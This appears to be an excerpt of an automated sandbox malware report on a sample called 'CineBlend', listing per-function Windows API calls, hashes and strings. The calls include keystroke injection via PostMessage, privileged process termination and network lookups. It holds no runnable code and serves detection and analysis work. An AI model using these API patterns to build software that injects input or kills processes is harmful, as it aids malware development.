                                  Function 00B92EEF Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B94393: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B943AD
                                    • Part of subcall function 00B94393: GetCurrentThreadId.KERNEL32 ref: 00B943B4
                                    • Part of subcall function 00B94393: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00B92F00), ref: 00B943BB
                                  • MapVirtualKeyW.USER32(00000025,00000000), ref: 00B92F0A
                                  • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00B92F28
                                  • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00B92F2C
                                  • MapVirtualKeyW.USER32(00000025,00000000), ref: 00B92F36
                                  • PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00B92F4E
                                  • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00B92F52
                                  • MapVirtualKeyW.USER32(00000025,00000000), ref: 00B92F5C
                                  • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00B92F70
                                  • Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00B92F74
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                  • String ID:
                                  • API String ID: 2014098862-0
                                  • Opcode ID: 50c88391c75f1f6ab7ee3f7273322e9e45c4c2e21e2d22ae675e96319eb8feca
                                  • Instruction ID: d2d7c3a164bf2aa9f0e0138c77cd2499c543e435e829eae66561669aaef7e817
                                  • Opcode Fuzzy Hash: 50c88391c75f1f6ab7ee3f7273322e9e45c4c2e21e2d22ae675e96319eb8feca
                                  • Instruction Fuzzy Hash: D001D430784214BBFB1067689C8AF593F9ADB4DB11F110075F358AF1E0CDE26444CAA9
                                  Function 00B92150 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00B91D95,?,?,00000000), ref: 00B92159
                                  • HeapAlloc.KERNEL32(00000000,?,00B91D95,?,?,00000000), ref: 00B92160
                                  • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00B91D95,?,?,00000000), ref: 00B92175
                                  • GetCurrentProcess.KERNEL32(?,00000000,?,00B91D95,?,?,00000000), ref: 00B9217D
                                  • DuplicateHandle.KERNEL32(00000000,?,00B91D95,?,?,00000000), ref: 00B92180
                                  • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00B91D95,?,?,00000000), ref: 00B92190
                                  • GetCurrentProcess.KERNEL32(00B91D95,00000000,?,00B91D95,?,?,00000000), ref: 00B92198
                                  • DuplicateHandle.KERNEL32(00000000,?,00B91D95,?,?,00000000), ref: 00B9219B
                                  • CreateThread.KERNEL32(00000000,00000000,00B921C1,00000000,00000000,00000000), ref: 00B921B5
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                  • String ID:
                                  • API String ID: 1957940570-0
                                  • Opcode ID: a48a0b63bd5459ef90c3523f5b31b1f4403be0f14bb7933d63ffc45b3656f656
                                  • Instruction ID: b5f41b46b1e1852aafee770f1db59231d71cca78a26c596970008e36d32ba314
                                  • Opcode Fuzzy Hash: a48a0b63bd5459ef90c3523f5b31b1f4403be0f14bb7933d63ffc45b3656f656
                                  • Instruction Fuzzy Hash: A001CDB9640344BFEB10AFA5DC4DF6B7BACEB88711F054425FA05EB2A1CA709800CB30
                                  Function 00BBAB3F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B9DD87: CreateToolhelp32Snapshot.KERNEL32 ref: 00B9DDAC
                                    • Part of subcall function 00B9DD87: Process32FirstW.KERNEL32(00000000,?), ref: 00B9DDBA
                                    • Part of subcall function 00B9DD87: CloseHandle.KERNELBASE(00000000), ref: 00B9DE87
                                  • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00BBABCA
                                  • GetLastError.KERNEL32 ref: 00BBABDD
                                  • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00BBAC10
                                  • TerminateProcess.KERNEL32(00000000,00000000), ref: 00BBACC5
                                  • GetLastError.KERNEL32(00000000), ref: 00BBACD0
                                  • CloseHandle.KERNEL32(00000000), ref: 00BBAD21
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                  • String ID: SeDebugPrivilege
                                  • API String ID: 2533919879-2896544425
                                  • Opcode ID: cbeffe8ec416f36ca7c70ec361b63411ac4fd82eb8d853692d3d52b447a816cf
                                  • Instruction ID: 6bda350d3634a60335297d97f9ea5e6986cba11b407c3cae87cb5ebcbbb36498
                                  • Opcode Fuzzy Hash: cbeffe8ec416f36ca7c70ec361b63411ac4fd82eb8d853692d3d52b447a816cf
                                  • Instruction Fuzzy Hash: FD61BD74608641AFD320DF15C895F69BBE0EF44308F5884DCE4664BBA2CBB1EC45CB92
                                  Function 00BC4322 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00BC43C1
                                  • SendMessageW.USER32(00000000,00001036,00000000,?), ref: 00BC43D6
                                  • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00BC43F0
                                  • _wcslen.LIBCMT ref: 00BC4435
                                  • SendMessageW.USER32(?,00001057,00000000,?), ref: 00BC4462
                                  • SendMessageW.USER32(?,00001061,?,0000000F), ref: 00BC4490
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend$Window_wcslen
                                  • String ID: SysListView32
                                  • API String ID: 2147712094-78025650
                                  • Opcode ID: 66a2946b89b2edffb1b786586357d1d327cee8b44ed6139dbacf38da64f8e23f
                                  • Instruction ID: ad5730e02b5abf3f261073f9a3988bc02d0f89917c632cd4ed3eba1be607e502
                                  • Opcode Fuzzy Hash: 66a2946b89b2edffb1b786586357d1d327cee8b44ed6139dbacf38da64f8e23f
                                  • Instruction Fuzzy Hash: A241C071900309ABDF219F64CC49FEA7BE9FB88350F1005AAF954E7291D7709D80CB90
                                  Function 00B9C625 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B9C6C4
                                  • IsMenu.USER32(00000000), ref: 00B9C6E4
                                  • CreatePopupMenu.USER32 ref: 00B9C71A
                                  • GetMenuItemCount.USER32(00F15BA8), ref: 00B9C76B
                                  • InsertMenuItemW.USER32(00F15BA8,?,00000001,00000030), ref: 00B9C793
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Menu$Item$CountCreateInfoInsertPopup
                                  • String ID: 0$2
                                  • API String ID: 93392585-3793063076
                                  • Opcode ID: 83f743231c031bd5bf9f12cffd1a6e70c02aaec07f82b488e5eb31207a9c29d4
                                  • Instruction ID: cdb577580d63bbbd64acaf9bf16999437b80d67a1f4cff36b1841330feb2201d
                                  • Opcode Fuzzy Hash: 83f743231c031bd5bf9f12cffd1a6e70c02aaec07f82b488e5eb31207a9c29d4
                                  • Instruction Fuzzy Hash: 8C518A70600205ABDF11CFB8D8C4AAEBFF4EB59314F2442BAE91197291D7749D40CF61
                                  Function 00B9D11F Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • LoadIconW.USER32(00000000,00007F03), ref: 00B9D1BE
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: IconLoad
                                  • String ID: blank$info$question$stop$warning
                                  • API String ID: 2457776203-404129466
                                  • Opcode ID: 424361c8d5acfeca4da9df6f8a68155b0b97ac163838b5b7670e2cceab5b0099
                                  • Instruction ID: dcf8eec9286e0d390df8381dec90313721d5ec2a438fb8514237c3e6d72afdf2
                                  • Opcode Fuzzy Hash: 424361c8d5acfeca4da9df6f8a68155b0b97ac163838b5b7670e2cceab5b0099
                                  • Instruction Fuzzy Hash: 3F11B73729832ABAEB055F56DC82D6A77ECDF05765B2000FAFA00B61C1DBB45E444660
                                  Function 00B9E73E Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
                                  • String ID: 0.0.0.0
                                  • API String ID: 642191829-3771769585
                                  • Opcode ID: 6a0f42d6163370f1602267298debd6b8cac99a198eed499b07e6af5100f199c0
                                  • Instruction ID: 51f74aab5c01a7e60c1dee7bb619f023531f645e14fe877f352aa8eb58274110
                                  • Opcode Fuzzy Hash: 6a0f42d6163370f1602267298debd6b8cac99a198eed499b07e6af5100f199c0
                                  • Instruction Fuzzy Hash: 3D11DF35900115BBCF20ABA0DC4AFEA77ECEF45711F1000F9F915A6091EF78CE858A61
                                  Function 00B9F630 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _wcslen$LocalTime
                                  • String ID:
                                  • API String ID: 952045576-0
                                  • Opcode ID: 5bb2bbd3f6a0758594b5d9526a23ea6270410833a3a9a1a148fc60cb13099f10
                                  • Instruction ID: 6777814dbd34bfcbfa066126a4ad38a18da4f6d53aa9f7388dea0ed02cd7dbd4
                                  • Opcode Fuzzy Hash: 5bb2bbd3f6a0758594b5d9526a23ea6270410833a3a9a1a148fc60cb13099f10
                                  • Instruction Fuzzy Hash: A9418165C10115A9DB11EBF88886BDFB7E8AF05311F5185F2E908E3121FB34D659C3A6
                                  Function 00B4FBC6 Relevance: 12.1, APIs: 8, Instructions: 124COMMON
                                  Download Yara Rule
                                  APIs
                                  • ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00B739E2,00000004,00000000,00000000), ref: 00B4FC41
                                  • ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,00B739E2,00000004,00000000,00000000), ref: 00B8FC15
                                  • ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00B739E2,00000004,00000000,00000000), ref: 00B8FC98
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ShowWindow
                                  • String ID:
                                  • API String ID: 1268545403-0
                                  • Opcode ID: a9d2bff530477970167c795124df12473dd4455feb696aafcda3ed5b60fd1166
                                  • Instruction ID: abda9969b5177a32cb7af07870b4b2f98e740a8af0f171c335fefc0c1ef98de9
                                  • Opcode Fuzzy Hash: a9d2bff530477970167c795124df12473dd4455feb696aafcda3ed5b60fd1166
                                  • Instruction Fuzzy Hash: A141EB3060838A9ECB359B3CC9CCB797BD2EB4A350F1445BDE94647A72C631AA40EB11
                                  Function 00BC379F Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • DeleteObject.GDI32(00000000), ref: 00BC37B7
                                  • GetDC.USER32(00000000), ref: 00BC37BF
                                  • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00BC37CA
                                  • ReleaseDC.USER32(00000000,00000000), ref: 00BC37D6
                                  • CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00BC3812
                                  • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00BC3823
                                  • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00BC6504,?,?,000000FF,00000000,?,000000FF,?), ref: 00BC385E
                                  • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00BC387D
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                  • String ID:
                                  • API String ID: 3864802216-0
                                  • Opcode ID: af6a484e88bcd54923bebd136c36435c845a8a029219dc968777c6d934f7d175
                                  • Instruction ID: 81d7c2c8ae8d9acb3ab3bde1315812e71ebfcb28052b2b65ee1c7f414a458f4b
                                  • Opcode Fuzzy Hash: af6a484e88bcd54923bebd136c36435c845a8a029219dc968777c6d934f7d175
                                  • Instruction Fuzzy Hash: 55319C76201214BFEB118F54CC89FEB3BA9EF49711F044069FE089B291CAB59C41CBA0
                                  Function 00BB5A0B Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: NULL Pointer assignment$Not an Object type
                                  • API String ID: 0-572801152
                                  • Opcode ID: 8ec477ddfaf56e58a2acb3eb6913b97ca1f2988bbfa4563e1afef0e862c23412
                                  • Instruction ID: 9029c37f143331fa977c030213309183cf84eb763ad6bd8fd1f4f6314c3fe789
                                  • Opcode Fuzzy Hash: 8ec477ddfaf56e58a2acb3eb6913b97ca1f2988bbfa4563e1afef0e862c23412
                                  • Instruction Fuzzy Hash: 32D18C71A0060A9FDF20DF68C885FFEB7F5EB48304F1485A9E915AB290E7B0A945CB51
                                  Function 00B718A2 Relevance: 10.8, APIs: 7, Instructions: 268COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,00B71B7B,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 00B7194E
                                  • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00B71B7B,00000000,00000000,?,00000000,?,?,?,?), ref: 00B719D1
                                  • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00B71B7B,?,00B71B7B,00000000,00000000,?,00000000,?,?,?,?), ref: 00B71A64
                                  • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00B71B7B,00000000,00000000,?,00000000,?,?,?,?), ref: 00B71A7B
                                    • Part of subcall function 00B63B93: RtlAllocateHeap.NTDLL(00000000,?,?,?,00B50165,?,?,00BA11D9,0000FFFF), ref: 00B63BC5
                                  • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,00B71B7B,00000000,00000000,?,00000000,?,?,?,?), ref: 00B71AF7
                                  • __freea.LIBCMT ref: 00B71B22
                                  • __freea.LIBCMT ref: 00B71B2E
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
                                  • String ID:
                                  • API String ID: 2829977744-0
                                  • Opcode ID: 7cdf02ff2a5abb82bb101eeead59f469ef54eabd3f2bad6c4ece1d3c390fa829
                                  • Instruction ID: e728f025dd22ac05a5aac100acb7c1f9c1a4a0077239b3c3308e3587bef71079
                                  • Opcode Fuzzy Hash: 7cdf02ff2a5abb82bb101eeead59f469ef54eabd3f2bad6c4ece1d3c390fa829
                                  • Instruction Fuzzy Hash: 2491C871E002169ADB208E6CCC91EEE7BF5DF49710F1989A9E929E7280E734DD46C770
                                  Function 00BB4F80 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Variant$ClearInit
                                  • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                  • API String ID: 2610073882-625585964
                                  • Opcode ID: 2a5aed6883dfa0cddfa22a377e84ae6bea8bd56f806b3c103cd9a83f2aa37a1b
                                  • Instruction ID: bab9e96cc6683bee0f11d9f290b41c08c567a0e1d3153f7bee40d8a0190dd896
                                  • Opcode Fuzzy Hash: 2a5aed6883dfa0cddfa22a377e84ae6bea8bd56f806b3c103cd9a83f2aa37a1b
                                  • Instruction Fuzzy Hash: 06919C71A00619ABDF24DFA4CC84FEEBBF8EF49314F108599F505AB280D7B09945CBA1
                                  Function 00BA1B46 Relevance: 10.8, APIs: 7, Instructions: 254COMMON
                                  Download Yara Rule
                                  APIs
                                  • SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00BA1C1B
                                  • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00BA1C43
                                  • SafeArrayUnaccessData.OLEAUT32(00000000), ref: 00BA1C67
                                  • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00BA1C97
                                  • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00BA1D1E
                                  • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00BA1D83
                                  • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00BA1DEF
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ArraySafe$Data$Access$UnaccessVartype
                                  • String ID:
                                  • API String ID: 2550207440-0
                                  • Opcode ID: d3c4a461ecab44f23ad7600e58daee3ce2c5be37b0e8d8ab3e6d59ab52e4396d
                                  • Instruction ID: 2b1faeac1cf943f1b1a77ddb7fb0fcc9867b3e69c08206aaf4cb875f97ffa104
                                  • Opcode Fuzzy Hash: d3c4a461ecab44f23ad7600e58daee3ce2c5be37b0e8d8ab3e6d59ab52e4396d
                                  • Instruction Fuzzy Hash: 9D910375A04215AFDB40DF9CC885BBEB7F4FF06721F1488A9E951EB291E774A900CB50
                                  Function 00B31D7E Relevance: 10.8, APIs: 7, Instructions: 254COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ObjectSelect$BeginCreatePath
                                  • String ID:
                                  • API String ID: 3225163088-0
                                  • Opcode ID: a53f468c0abe49bb3e46d0100d85d64625246ddc9835bd9edfac2754b1dc7b15
                                  • Instruction ID: 98d1ec4759191f92e251057cbdc6ef4bec0e9f25c74209e93147d891cc881fa3
